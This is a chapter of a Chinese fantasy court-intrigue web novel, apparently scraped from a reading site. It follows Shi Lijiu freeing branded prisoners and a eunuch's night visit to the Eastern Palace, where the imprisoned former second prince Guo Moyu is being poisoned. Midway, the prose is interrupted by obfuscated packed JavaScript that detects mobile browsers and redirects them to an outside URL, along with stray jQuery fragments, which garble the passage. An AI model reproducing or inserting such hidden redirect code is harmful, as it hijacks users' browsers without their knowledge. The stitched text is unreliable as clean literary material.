击杀了闹事的为首者，余下的苦囚便被风老集中起来，严加看管。


    原鹿林镇居民则被单独分出，列于一旁，每人眉心一一涂抹石离九调配的草药汁液。


    “天呐，我额头上的烙印真的消失了！”


    “看看我！还有没有？额头可还有烙印？”


    “没了！真的没了！大家额头上都没了！”


    ……


    活下来的鹿林镇居民爆发出压抑已久的哭喊，相拥着喜极而泣。


    在这乱世中若被烙上了苦囚之印者，则将如牲畜般被官府驱使，永世不得翻身。


    而今日，这烙印竟真被祛除了。


    数人更是猛然扑跪于石离九面前，连连磕头，“多谢神女！多谢神女！”


    石离九不知所措僵立在原地，连连摆手，“不必不必……我只是，做了该做的事。”


    还是冯琨机灵，一步抢上，稳稳托起众人。


    风老这才得空插上话，拱手道：“神女，您看……这剩下的镇西军要如何处理？”


    “莫要如此称呼我，”石离九小脸皱成一团，“风老，你浸淫官场数十载，经验远胜于我。这些事，你自行决断便是，不必事事问我。”


    风老轻轻颔首，迟疑片刻，试探问道：“神女，怪我多嘴冒昧一问……接下来，您可有去向？”


    石离九怔了怔，目光掠过那一排排营帐，“风老，你觉得……如今大元国主郭项如何？”


    “国主他……”风老一顿，幽幽叹了口气，突然换成一副恨铁不成钢的模样，“罢了！即便是冒着被砍头的风险，我也要说一句公道话——郭项，他不配做大元国主！”


    末了，他继续补充道：“先国主在时，虽有昏聩，却尚知纳谏。我上书直言，他或怒或思，终会精心与我共议国策。而如今这位……上位手段是否光明暂且不说，其心狭隘，其行荒唐！古人言：‘忠言逆耳利于行’，可他却听不得半句。若再由他当权，国之危已！国之危已啊！”


    石离九闻言，双眸微眯，听着风老那一声声沉痛的感慨，指尖微微收紧，良久，她轻声道：“郭项确实不配为君。可这天下苍生，却仍处于乱世之中，需要一人挺身而出，引百姓走出绝境，承下这份重托。”


    她转头直视风老：“风老你觉得，还有何人可担此大任？”


    风老浑身一震，眼中闪过不敢置信的亮光。


    他活了大半辈子，见过太多权谋倾轧，却从未想过，有人在这样的乱世里，问出这般直白又大胆的问题。


    他沉默片刻，左右环顾，确认无人靠近，俯身凑近，压低声音道：“我不敢妄言，可若有人能心怀百姓，不惧世家，能以公道立世……这等贤主，我还真想到一人，那便是——前二皇子，郭墨予。”


    石离九轻“嗯”一声，唇角微扬。


    她拱手一礼，“风老，这军营还要拜托你代为统辖。那些镇西军士兵也是被逼无奈才为恶人效力，若愿放下兵器，归顺正道，便给他们一条活路。若执迷不悟，也莫要滥杀，囚起来再做打算。我……我要赴京都一趟。”


    她转身，脚步未停，只留下一句轻语，随风飘散：“我徒弟，还在那儿等我。”


    ……


    ……


    南域大元王朝，京都。


    已是夜深，更深露重，霜气浮空，王宫外守卫盔甲上凝露悄然滑落，滴在地面上发出极轻的“滴答”声。


    守卫甲眼角微动，瞥见总领巡防未至，紧绷的背脊悄然一松，微微活动双臂，可手中兵器却倏然下沉，戟尖险些触底。


    若真让这武器落地，那他颈上那颗脑袋也就保不住了。


    吓得他连忙攥紧了戟杆，掌心冷汗涔涔，口中嘟囔着：“上头新发下来的武器厉是厉害……可这分量，压得人架子都快散了……”


    身旁守卫乙冷扫一眼，“莫多嘴，小心让总领听到了，罚你跑圈一整天。”


    守卫甲眼皮一抽，顿时噤若寒蝉。


    又过了约莫一个时辰，长街尽头忽响起马蹄声。


    一辆华贵的马车自暗影中驶来，车身坠玉，帘幕垂金，车头高挑一杆金边的“富”字旗。


    一位青缎短袍紧裹身形、面容清秀的少年挥鞭驾车，直抵宫门，在守卫前勒马停车，马蹄扬起。


    守卫甲横戟一出，厉声喝道：“何人！”


    那少年嗓音尖利，高声斥道：“瞎了你的狗眼，富海内侍的车驾你也敢阻拦！”


    他一双杏眼冷光流转，直逼守卫，手中马鞭未收，仿佛要随时破空抽下。


    守卫甲被那句“瞎了狗眼”震得心肝儿一颤，手心的冷汗几乎要握不住戟杆，可仍强撑着不肯退让，“宫禁森严，夜半驾车通行，需得验符！”


    “符令？”少年冷笑，扬了扬手中的马鞭，“你可认得这马车？富海内侍的马车，连四品以上官员见了都要让道，你一个看门的守卫，也敢拦我？”


    守卫甲却仍犹豫微动，他虽怕惹祸，却更怕总领知晓他擅放车驾，罪责更重。


    守卫乙悄然挪动半步，低声道：“这马车，确实是富海内侍的。富海内侍如今正得圣宠，咱们惹不起。”


    守卫甲咬牙，终是缓缓收回长戟，退开一步，沉声道：“过吧。”


    少年唇角一勾，鞭子轻扬，马蹄再次踏动。


    可就在车轮碾过宫门的霎那，他忽然回头，冷冷道：“今日你们拦我，我记下了。若富海内侍问我，我会如实禀报。”


    话音落下，马车已驰入宫门，马蹄声渐远。


    宫门重归寂静。


    守卫甲抹了把额上的汗，低骂：“这小内侍，眼神比刀子还利……对了，他为何每周都要往东宫跑？”


    守卫乙急忙“嘘”了一声，左右张望，冲他摇摇头，“小声些！我听说……他是去送毒丹的。”


    守卫甲点点头，凝望着那马车的影子隐入宫道尽头。


    马车在宫道尽头拐了个弯，径直朝东宫驶去。


    坐在座驾上的张东长舒口气，紧绷的肩线终于松弛下来。


    “吁——”


    张东勒紧马绳，骏马嘶鸣一声，在东宫门前驻足。


    他回首望向马车内，“义父，到东宫了。”


    一只白皙、毫无瑕疵的手缓缓伸出，撩开了帘幕。


    张富海自内缓步而出，一双狭长的眸子小心翼翼地扫过四周。


    他伸手轻轻搭在张东臂弯之上，沿着马凳拾级而下。


    东宫门口已有一名宫女候着，手中的灯笼在黑夜之中散发着昏暗的光晕。


    宫女快步上前，屈膝行礼，“大人，国主命奴婢在此处恭候。请随奴婢来。”


    张富海轻轻颔首，迈步跟上。


    东宫虽是储君居所，但国主郭项此时正值壮年，又是修仙者，寿元绵长，故而未着急立储，只是匆匆纳了几位年轻貌美的妃子充盈后宫。


    但数月前，他忽然下令，调遣了精锐禁军驻守东宫，封锁宫门。


    宫人窃窃私语，却无人敢严明。


    只是有一些传闻不胫而走——


    这东宫里囚禁着一个人，至于是何人，却没人能道的清。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16895621|185315||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    门口的守卫朝那宫女轻轻颔首示意，随即打开门锁。


    门轴转动，铁锁撞击门闩，发出一声沉闷的磕碰声。


    大门缓缓开启，一股陈腐的湿气夹杂着油灯燃尽的焦味扑面而来。


    宫女提灯在前引路，灯光摇曳，映得廊下的影子如蛇般蠕动。


    张福海走在宫女身后，指尖仍虚虚然搭在张东臂弯，却不用再借力。


    “那人可睡了？”他轻声问道。


    宫女微微侧首，答道：“刚喂他喝下汤药，此刻应是昏睡了。”


    张东眸光微闪，他目光扫过两侧廊下游走的影子，只觉此地太过神秘。


    他虽自幼侍奉在张富海左右，却是第一次踏入东宫。


    他亦十分好奇，东宫里囚禁的……究竟是何人。


    宫女再次加快脚步，穿过多重回廊，终至一座偏殿。


    殿门紧闭，门前立着两名禁军，面覆铁胄，手持长戟，纹丝不动。


    其中一人抬手阻拦，那宫女低声耳语几句，禁军才缓缓让开。


    门开一线，烛光漏出，映出内里一张紫檀床榻，雕工精美，却沾着厚厚尘灰。


    床榻中央，隐约可见一道模糊的人影，人影蜷缩着，似在沉睡，又似在梦魇中挣扎，呼吸微弱而断续。


    宫女侧身挤入殿内，张富海紧随其后，负于身后的手却朝张东摆了摆。


    张东会意，转身背对殿门，站直了身躯。


    床榻四周皆是难闻的呕吐物，及一丝丝发乌的血迹。


    张富海眉头微蹙，有些嫌弃地拎起下摆，生怕身上的锦衣被这满地的误会弄脏。


    那宫女却神色如常，将灯笼放置于门槛边，脚步轻盈地避开地上的污秽物，熟稔地朝床榻走去。


    她坐在床榻边缘，抬眸望向张富海。


    张富海缓缓从怀中掏出一枚玉盒，他指尖微颤，却不敢直接接触，反而用一方丝帕裹住盒盖，轻轻挑开。


    里面躺着一枚浑圆的丹药，通体漆黑，还泛着诡异的幽光。


    他用帕子夹住那丹药，递至宫女面前。


    宫女身躯微颤，声音有些发虚，“大人，这……奴婢也不敢碰啊。”


    “蠢货！用帕子裹着，怕什么？难不成还怕它咬你一口？”张富海不耐烦斥道。


    宫女抿了抿双唇，终是伸手接过，小心翼翼地送至卧榻之人唇边。


    就在这时，那人却猛地睁开双眸。


    他腿上铁链哗啦作响，抬腿踹出。


    宫女失声惊叫，身形踉跄后仰，手中丹药险些脱手。


    幸得张富海一步上前，臂膀稳稳托住了她摇晃的身形。


    铁链晃动的声响亦惊动了殿外守卫。


    两名禁军破门而入，长戟一横，厉声喝声：“发生了何事！”


    话音落下，原本安静躺在床榻上的那人，却缓缓坐起。


    他上身赤裸，鞭痕遍布，骨瘦嶙峋，铁链自踝骨缠绕至床柱，叮当作响。


    那张惨白的面容上，眉骨深陷，毫无血色，如同地底爬出的孤魂。


    “出去！”张富海冷声下令。


    两名禁军顿了顿，目光扫过塌上之人，瞳孔一缩，似是认出了什么，又似不敢确认。


    他们慌忙垂首，后退几步，转身出了偏殿，轻轻掩上了殿门。


    那宫女仍捂着胸口，呼吸未平。


    而张富海却望着塌上之人，目光复杂，既有一丝怜悯，又有一丝惋惜。


    东宫偏殿中囚禁之人，竟是昔日风华绝代的前二皇子——郭墨予！